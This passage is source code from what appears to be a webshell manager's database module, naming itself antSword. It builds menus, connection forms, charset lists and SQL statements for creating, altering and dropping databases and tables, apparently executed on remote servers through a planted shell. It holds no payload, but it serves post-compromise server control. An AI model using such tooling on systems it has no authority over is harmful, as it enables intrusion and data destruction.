LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this.addConf.bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this.editConf.bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this.delConf.bind(this) } ], event); break; case 'database': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['addtable'], icon: 'fa fa-plus-circle', action: this.addTable.bind(this) }, { text: LANG['list']['menu']['adddb'], icon: 'fa fa-plus-circle', action: this.addDatabase.bind(this) }, { divider: true }, { text: LANG['list']['menu']['editdb'], icon: 'fa fa-edit', action: this.editDatabase.bind(this) }, { divider: true }, { text: LANG['list']['menu']['deldb'], icon: 'fa fa-remove', action: this.delDatabase.bind(this) } ], event); break; case 'table': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['addtable'], icon: 'fa fa-plus-circle', action: this.addTable.bind(this) }, { divider: true }, { text: LANG['list']['menu']['desctable'], icon: 'fa fa-table', action: this.descTable.bind(this) }, { text: LANG['list']['menu']['showcreatetable'], icon: 'fa fa-info', action: this.showcreateTable.bind(this) }, { text: LANG['list']['menu']['edittable'], icon: 'fa fa-edit', action: this.editTable.bind(this) }, { divider: true }, { text: LANG['list']['menu']['deltable'], icon: 'fa fa-remove', action: this.delTable.bind(this) } ], event); break; case 'column': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['editcolumn'], icon: 'fa fa-edit', action: this.editColumn.bind(this) }, { text: LANG['list']['menu']['delcolumn'], icon: 'fa fa-remove', action: this.delColumn.bind(this) }, ], event); break; } // if (id.startsWith('conn::')) { // this.tree.callEvent('onClick', [id]); // bmenu([ // { // text: LANG['list']['menu']['add'], // icon: 'fa fa-plus-circle', // action: this.addConf.bind(this) // }, { // divider: true // }, { // text: LANG['list']['menu']['edit'], // icon: 'fa fa-edit', // action: this.editConf.bind(this) // }, { // divider: true // }, { // text: LANG['list']['menu']['del'], // icon: 'fa fa-remove', // action: this.delConf.bind(this) // } // ], event); // }; }); // mysql column type // TODO: // 1. column default value // 2. character set // 3. unsigned this.mysqlcolumntypes = [ "tinyint", "smallint", "mediumint", "int", "integer", "bigint", "float", "double", "date", "time", "year", "datetime", "timestamp", "char", "varchar", "tinytext", "blob", "text", "mediumblob", "mediumtext", "longblob", "longtext" ]; // mysql character set mapping this.mysqlcsMapping = { 'default': ['default'], 'utf8': [ "utf8_general_ci","utf8_bin","utf8_unicode_ci","utf8_icelandic_ci","utf8_latvian_ci","utf8_romanian_ci","utf8_slovenian_ci","utf8_polish_ci","utf8_estonian_ci","utf8_spanish_ci","utf8_swedish_ci","utf8_turkish_ci","utf8_czech_ci","utf8_danish_ci","utf8_lithuanian_ci","utf8_slovak_ci","utf8_spanish2_ci","utf8_roman_ci","utf8_persian_ci","utf8_esperanto_ci","utf8_hungarian_ci","utf8_sinhala_ci","utf8_general_mysql500_ci", ], 'big5': [ "big5_chinese_ci","big5_bin"], 'dec8': [ "dec8_swedish_ci","dec8_bin"], 'cp850': [ "cp850_general_ci","cp850_bin"], 'hp8': [ "hp8_general_ci","hp8_bin"], 'koi8r': [ "koi8_general_ci","koi8_bin"], 'latin1':[ "latin1_german1_ci","latin1_swedish_ci","latin1_danish_ci","latin1_german2_ci","latin1_bin","latin1_general_ci","latin1_general_cs","latin1_spanish_ci" ], 'latin2':[ "latin2_czech_cs","latin2_general_ci","latin2_hungarian_ci","latin2_croatian_ci","latin2_bin", ], 'ascii':[ "ascii_general_ci","ascii_bin" ], 'euckr':[ "euckr_korean_ci","euckr_bin" ], 'gb2312':[ "gb2312_chinese_ci","gb2312_bin"], 'gbk':[ "gbk_chinese_ci","gbk_bin"], 'utf8mb4': [ "utf8mb4_general_ci","utf8mb4_bin","utf8mb4_unicode_ci","utf8mb4_icelandic_ci","utf8mb4_latvian_ci","utf8mb4_romanian_ci","utf8mb4_slovenian_ci","utf8mb4_polish_ci","utf8mb4_estonian_ci","utf8mb4_spanish_ci","utf8mb4_swedish_ci","utf8mb4_turkish_ci","utf8mb4_czech_ci","utf8mb4_danish_ci","utf8mb4_lithuanian_ci","utf8mb4_slovak_ci","utf8mb4_spanish2_ci","utf8mb4_roman_ci","utf8mb4_persian_ci","utf8mb4_esperanto_ci","utf8mb4_hungarian_ci","utf8mb4_sinhala_ci", ], 'utf16': [ "utf16_general_ci","utf16_bin","utf16_unicode_ci","utf16_icelandic_ci","utf16_latvian_ci","utf16_romanian_ci","utf16_slovenian_ci","utf16_polish_ci","utf16_estonian_ci","utf16_spanish_ci","utf16_swedish_ci","utf16_turkish_ci","utf16_czech_ci","utf16_danish_ci","utf16_lithuanian_ci","utf16_slovak_ci","utf16_spanish2_ci","utf16_roman_ci","utf16_persian_ci","utf16_esperanto_ci","utf16_hungarian_ci","utf16_sinhala_ci", ], }; this.encode_mapping = { 'mysql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], // 'mysqli': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], // 'mssql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], // 'sqlsrv': ['utf-8', 'char'], // 'oracle': ['UTF8','ZHS16GBK','ZHT16BIG5','ZHS16GBKFIXED','ZHT16BIG5FIXED'], // 'oracle_oci8': ['UTF8','ZHS16GBK','ZHT16BIG5','ZHS16GBKFIXED','ZHT16BIG5FIXED'], // 'postgresql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], // 'postgresql_pdo': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], 'sqlite3': ['utf8'], // 'sqlite_pdo': ['utf8'], // 'informix': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], } } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI // 1. this.tree.deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, text: antSword.noxss(`${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this.tree.parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()).toString(16).substr(2, 8); // const win = this.manager.win.createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [ { text: 'MYSQL', value: 'mysql' }, // { text: 'MYSQLI', value: 'mysqli' }, // { text: 'MSSQL', value: 'mssql' }, // { text: 'SQLSRV', value: 'sqlsrv' }, // { text: 'ORACLE', value: 'oracle' }, // { text: 'ORACLE_OCI8', value: 'oracle_oci8' }, // { text: 'PostgreSQL', value: 'postgresql' }, // { text: 'PostgreSQL_PDO', value: 'postgresql_pdo' }, { text: 'SQLite3', value: 'sqlite3' }, // { text: 'SQLite_PDO', value: 'sqlite_pdo' }, // { text: 'INFORMIX', value: 'informix' } ] }, { type: 'combo', label: LANG['form']['encode'], name: 'encode', options: ((c) => { let ret = []; this.encode_mapping[c].map((_)=>{ ret.push({ text: _, value: _ }); }); return ret; })("mysql")}, { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: 'localhost' }, { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: 'root' }, { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: '' } ]} ], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; var encodecmb = form.getCombo("encode"); encodecmb.clearAll(); encodecmb.setComboValue(null); var ret = []; this.encode_mapping[id].map((_)=>{ ret.push({ text: _, value: _ }); }); encodecmb.addOption(ret); encodecmb.selectOption(0); switch(id) { case 'mysql': case 'mysqli': form.setFormData({ host: 'localhost:3306', user: 'root', passwd: '' }); break; case 'mssql': form.setFormData({ host: 'localhost,1433', user: 'sa', passwd: '' }); break; case 'sqlsrv': form.setFormData({ host: 'localhost', user: 'sa', passwd: '' }); break; case 'oracle_oci8': form.setFormData({ host: 'localhost/orcl', user: '', passwd: '', }) break; case 'postgresql': form.setFormData({ host: 'localhost:5432:postgres', user: 'postgres', passwd: '', }); break; case 'postgresql_pdo': form.setFormData({ host: 'localhost:5432:postgres', user: 'postgres', passwd: '', }); break; case 'sqlite3': case 'sqlite_pdo': form.setFormData({ host: '/var/www/html/test.db', user: '', passwd: '', }); break; default: form.setFormData({ user: 'dbuser', passwd: 'dbpwd' }); } }); // toolbar.attachEvent('onClick', (id) => { switch(id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this.tree.insertNewItem(0, `conn::${id}`, `${data['type']}:\/\/${data['user']}@${data['host']}`, null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0] ); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this.core.request( this.core[`database_${_data['type']}`].show_databases({ host: _data['host'], user: _data['user'], passwd: _data['passwd'] }) ).then((res) => { if(res['text'].length > 0){ if(res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); }else{ toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }).catch((err)=>{ win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf(){ const id = this.tree.getSelected().split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); // const win = this.manager.win.createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [ { text: 'MYSQL', value: 'mysql', selected: conf['type'] === 'mysql' }, // { text: 'MYSQLI', value: 'mysqli', selected: conf['type'] === 'mysqli' }, // { text: 'MSSQL', value: 'mssql', selected: conf['type'] === 'mssql' }, // { text: 'SQLSRV', value: 'sqlsrv', selected: conf['type'] === 'sqlsrv' }, // { text: 'ORACLE', value: 'oracle', selected: conf['type'] === 'oracle' }, // { text: 'ORACLE_OCI8', value: 'oracle_oci8', selected: conf['type'] === 'oracle_oci8' }, // { text: 'PostgreSQL', value: 'postgresql', selected: conf['type'] === 'postgresql' }, // { text: 'PostgreSQL_PDO', value: 'postgresql_pdo', selected: conf['type'] === 'postgresql_pdo' }, { text: 'SQLite3', value: 'sqlite3', selected: conf['type'] === 'sqlite3' }, // { text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' } ] }, { type: 'combo', label: LANG['form']['encode'], name: 'encode', options: ((c) => { let ret = []; this.encode_mapping[c].map((_)=>{ ret.push({ text: _, value: _, selected: conf['encode'] === _ }); }); return ret; })(conf["type"])}, { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: conf['host'] }, { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: conf['user'] }, { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: conf['passwd'] } ]} ], true); form.attachEvent('onChange', (_, id, state) => { if (_ == 'type') { var encodecmb = form.getCombo("encode"); encodecmb.clearAll(); encodecmb.setComboValue(null); var ret = []; this.encode_mapping[id].map((_)=>{ ret.push({ text: _, value: _, selected: conf['encode'] === _ }); }); encodecmb.addOption(ret); encodecmb.selectOption(this.encode_mapping[id].indexOf(conf['encode']) == -1 ? 0 : this.encode_mapping[id].indexOf(conf['encode'])); switch(id) { case 'mysql': case 'mysqli': form.setFormData({ // encode: conf['encode'], user: conf['user'], passwd: conf['passwd'] }); break; case 'mssql': form.setFormData({ // encode: conf['encode'], user: conf['user'], passwd: conf['passwd'] }); break; default: form.setFormData({ // encode: conf['encode'], user: conf['user'], passwd: conf['passwd'] }); } }; }); // toolbar.attachEvent('onClick', (id) => { switch(id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this.tree.getSelected().split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this.core.request( this.core[`database_${_data['type']}`].show_databases({ host: _data['host'], user: _data['user'], passwd: _data['passwd'] }) ).then((res) => { if(res['text'].length > 0){ if(res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); }else{ toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }).catch((err)=>{ win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this.tree.getSelected().split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this.tree.deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); // this.parse(); }else{ toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // addDatabase() { const id = this.tree.getSelected().split('::')[1].split(":")[0]; // // // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { // _id: this.manager.opt['_id'], // id: id // }); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": case "mysql": // const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); win.setText(LANG['form']['adddb']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'input', label: LANG['form']['adddb']['dbname'], name: 'dbname', value: "", required: true, validate:"ValidAplhaNumeric",}, { type: 'combo', label: LANG['form']['adddb']['characterset'], readonly:true, name: 'characterset', options: (() => { let ret = []; Object.keys(this.mysqlcsMapping).map((_) => { ret.push({ text: _, value: _, }); }) return ret; })() }, { type: 'combo', label: LANG['form']['adddb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{ let ret = []; this.mysqlcsMapping[c].map((_)=>{ ret.push({ text: _, value: _, }); }); return ret; })("default")}, { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ { type:"button" , name:"createbtn", value: `<i class="fa fa-plus"></i> ${LANG['form']['adddb']['createbtn']}`}, {type: 'newcolumn', offset:20}, { type:"button" , name:"cancelbtn", value: `<i class="fa fa-ban"></i> ${LANG['form']['adddb']['cancelbtn']}`}, ]} ]} ], true); form.enableLiveValidation(true); // combo form.attachEvent("onChange",(_, id)=>{ if (_ == "characterset") { let collcombo = form.getCombo("charactercollation"); collcombo.clearAll(); collcombo.setComboValue(null); let ret = []; this.mysqlcsMapping[id].map((_)=>{ ret.push({ text: _, value: _, }); }); collcombo.addOption(ret); collcombo.selectOption(0); } }); form.attachEvent("onButtonClick", (btnid)=>{ switch(btnid){ case "createbtn": if(form.validate()==false){break;} let formvals = form.getValues(); let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`; let sql = `CREATE DATABASE IF NOT EXISTS ${formvals['dbname']} ${charset};` this.execSQLAsync(sql, (res, err)=>{ if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let data = res['text']; let arr = data.split('\n'); if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; if(arr[1].indexOf("VHJ1ZQ==")!= -1){ // toastr.success(LANG['form']['adddb']['success'] ,LANG_T['success']); win.close(); // refresh this.getDatabases(id); return } toastr.error(LANG['form']['adddb']['error'], LANG_T['error']); return }); // break case "cancelbtn": win.close(); break; } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } editDatabase() { // const id = this.tree.getSelected().split('::')[1].split(":")[0]; let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `SELECT SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME FROM \`information_schema\`.\`SCHEMATA\` where \`SCHEMA_NAME\`="${dbname}";` this.execSQLAsync(sql, (res, err)=>{ if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); dbname = result.datas[0][0] let characterset = result.datas[0][1] || "default" let collation = result.datas[0][2] || "default" // const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); win.setText(LANG['form']['editdb']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'input', label: LANG['form']['editdb']['dbname'], name: 'dbname', readonly: true, value: dbname, required: true, validate:"ValidAplhaNumeric",}, { type: 'combo', label: LANG['form']['editdb']['characterset'], readonly:true, name: 'characterset', options: (() => { let ret = []; Object.keys(this.mysqlcsMapping).map((_) => { ret.push({ text: _, value: _, }); }) return ret; })() }, { type: 'combo', label: LANG['form']['editdb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{ let ret = []; this.mysqlcsMapping[c].map((_)=>{ ret.push({ text: _, value: _, }); }); return ret; })("default")}, { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ { type:"button" , name:"updatebtn", value: `<i class="fa fa-pen"></i> ${LANG['form']['editdb']['updatebtn']}`}, {type: 'newcolumn', offset:20}, { type:"button" , name:"cancelbtn", value: `<i class="fa fa-ban"></i> ${LANG['form']['editdb']['cancelbtn']}`}, ]} ]} ], true); form.enableLiveValidation(true); // combo form.attachEvent("onChange",(_, id)=>{ if (_ == "characterset") { let collcombo = form.getCombo("charactercollation"); collcombo.clearAll(); collcombo.setComboValue(null); let ret = []; this.mysqlcsMapping[id].map((_)=>{ ret.push({ text: _, value: _, }); }); collcombo.addOption(ret); collcombo.selectOption(0); } }); let cscombo = form.getCombo("characterset"); cscombo.selectOption(Object.keys(this.mysqlcsMapping).indexOf(characterset)); let collcombo = form.getCombo("charactercollation"); collcombo.selectOption(this.mysqlcsMapping[characterset].indexOf(collation)); form.attachEvent("onButtonClick", (btnid)=>{ switch(btnid){ case "updatebtn": if(form.validate()==false){break;} let formvals = form.getValues(); let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`; let sql = `ALTER DATABASE ${dbname} ${charset};` this.execSQLAsync(sql, (res, err)=>{ if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let data = res['text']; let arr = data.split('\n'); if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; if(arr[1].indexOf("VHJ1ZQ==")!= -1){ // toastr.success(LANG['form']['editdb']['success'] ,LANG_T['success']); win.close(); // refresh this.getDatabases(id); return } toastr.error(LANG['form']['editdb']['error'], LANG_T['error']); return }); // break case "cancelbtn": win.close(); break; } }); }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } delDatabase() { // const id = this.tree.getSelected().split('::')[1].split(":")[0]; let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); layer.confirm(LANG['form']['deldb']['confirm'](dbname), { icon: 2, shift: 6, title: LANG['form']['deldb']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `drop database ${dbname};` this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['deldb']['success'], LANG_T['success']); this.getDatabases(id); }else{ toastr.error(LANG['form']['deldb']['error'], LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } // addTable() { // const id = this.tree.getSelected().split('::')[1].split(":")[0]; let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": case "mysql": // let sql = `CREATE TABLE IF NOT EXISTS \`table_name\` ( // \`id\` INT UNSIGNED AUTO_INCREMENT, // \`title\` VARCHAR(100) NOT NULL, // PRIMARY KEY ( \`id\` ) // );`; // this.manager.query.editor.session.setValue(sql); const win = this.manager.win.createWindow(hash, 0, 0, 600, 400); win.setText(LANG['form']['addtable']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['addtable']['add'], }, { type: 'separator' }, { id: 'delete', type: 'button', icon: 'remove', text: LANG['form']['addtable']['delete'] },{ id: 'save', type: 'button', icon: 'save', text: LANG['form']['addtable']['save'] }]); dhtmlxValidation.hasOwnProperty("isValidPositiveInteger") ? "" : dhtmlxValidation.isValidPositiveInteger = (a) => { return !!a.toString().match(/(^\d+$)/);} const grid=win.attachGrid(); grid.clearAll(); // Name,Type,Length,Not Null,Key,Auto Increment grid.setHeader(LANG['form']['addtable']['gridheader']); grid.setInitWidths('*,100,80,80,50,130'); grid.setColTypes("ed,co,edn,acheck,acheck,acheck"); grid.setColValidators(["ValidAplhaNumeric","NotEmpty","ValidPositiveInteger","ValidBoolean","ValidBoolean","ValidBoolean"]); grid.setEditable(true); const combobox = grid.getCombo(1); this.mysqlcolumntypes.forEach(v => { combobox.put(v, v); }); grid.enableEditEvents(false,true,true); grid.enableEditTabOnly(true); grid.init(); grid.clearAll(); grid.attachEvent("onCheck", (rId,cInd,state) => { if(state == true){ switch(cInd){ case 4: let c3 = grid.cells(rId, 3); c3.setChecked(true); break; } } }); // grid.attachEvent("onValidationError", (rid,index,value,rule)=>{ // // toolbar.disableItem('save'); // let idx = grid.getRowIndex(rid); // // grid.editStop(); // grid.selectCell(idx, index); // grid.editCell(); // return true; // }); toolbar.attachEvent('onClick',(tbid)=>{ switch(tbid){ case "add": let ncid = (+new Date * Math.random()).toString(16).substr(2, 8); grid.addRow(ncid, ",,0,0,0,0"); let idx = grid.getRowIndex(ncid); grid.selectCell(idx, 0); grid.editCell(); break; case "delete": var ncids = grid.getSelectedId(); if(!ncids){ toastr.warning(LANG['form']['addtable']['delete_not_select'], LANG_T['warning']); return } let _ncids = ncids.split(","); _ncids.map(_=>{ grid.deleteRow(_); }); break; case "save": let rids = grid.getAllRowIds(); if(!rids){ toastr.warning(LANG['form']['addtable']['save_row_is_null'], LANG_T['warning']); return } let _rids = rids.split(","); let bdstr = ""; let pkstr = ""; for(var i=0; i< _rids.length;i++){ let cvalarr = []; for(var j=0; j<6;j++){ if(grid.validateCell(_rids[i], j) == false){ toastr.error(LANG['form']['addtable']['cell_valid_error'](i,j), LANG_T['error']); grid.selectCell(_rids[i], j); grid.editCell(); return } var c = grid.cells(_rids[i], j); cvalarr[j] = c.getValue(); } let lenstr = ""; let auto_inc_str = ""; switch(cvalarr[1]){ case "varchar": case "varbinary": if(cvalarr[2] == "0"){ lenstr = `(255)`; }else{ lenstr = `(${cvalarr[2]})`; } break; case "int": case "integer": if(cvalarr[5] == "1"){ auto_inc_str = "AUTO_INCREMENT"; } break; default: break; } let notnull = cvalarr[4] == "1" ? `NOT NULL` : (cvalarr[3] == "0" ? "": `NOT NULL`); pkstr += cvalarr[4] == "0"? "": `\`${cvalarr[0]}\`,`; bdstr += `\t\`${cvalarr[0]}\` ${cvalarr[1]}${lenstr} ${notnull} ${auto_inc_str},\n`; } layer.prompt({ value: "", title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['addtable']['confirmtitle']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ toastr.error(LANG['form']['addtable']['invalid_tablename'], LANG_T['error']); return } layer.close(i); let pkres = pkstr.length > 0 ? `\tPRIMARY KEY ( ${pkstr.substr(0, pkstr.length-1)} )` : ""; if(pkres.length == 0) { bdstr = bdstr.slice(0, bdstr.lastIndexOf(",")); } let rsql = `CREATE TABLE IF NOT EXISTS \`${value}\` (\n${bdstr}\n${pkres}\n);`; this.manager.query.editor.session.setValue(rsql); this.execSQLAsync(rsql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['addtable']['success'],LANG_T['success']); this.getTables(id,dbname); win.close(); }else{ toastr.error(LANG['form']['addtable']['error'], LANG_T['error']); } }); }); break; } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } } // editTable() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); // const hash = (+new Date * Math.random()).toString(16).substr(2, 8); layer.prompt({ value: antSword.noxss(tablename), title: `<i class="fa fa-file-code-o"></i> ${LANG['form']['edittable']['title']}` },(value, i, e) => { if(!value.match(/^[a-zA-Z0-9_]+$/)){ toastr.error(LANG['form']['edittable']['invalid_tablename'], LANG_T['error']); return } layer.close(i); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `RENAME TABLE \`${dbname}\`.\`${tablename}\` TO \`${dbname}\`.\`${value}\`;`; this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['edittable']['success'],LANG_T['success']); this.getTables(id,dbname); }else{ toastr.error(LANG['form']['edittable']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } delTable() { // const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); // lang layer.confirm(LANG['form']['deltable']['confirm'](tablename), { icon: 2, shift: 6, title: LANG['form']['deltable']['title'] }, (_) => { layer.close(_); switch(this.dbconf['type']){ case "mysqli": case "mysql": let sql = `DROP TABLE \`${dbname}\`.\`${tablename}\`;`; this.execSQLAsync(sql, (res, err) => { if(err){ toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); return; } let result = this.parseResult(res['text']); if(result.datas[0][0]=='True'){ toastr.success(LANG['form']['deltable']['success'],LANG_T['success']); this.getTables(id,dbname); }else{ toastr.error(LANG['form']['deltable']['error'],LANG_T['error']); } }); break; default: toastr.warning(LANG['notsupport'], LANG_T['warning']); break; } }); } // descTable() { const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); 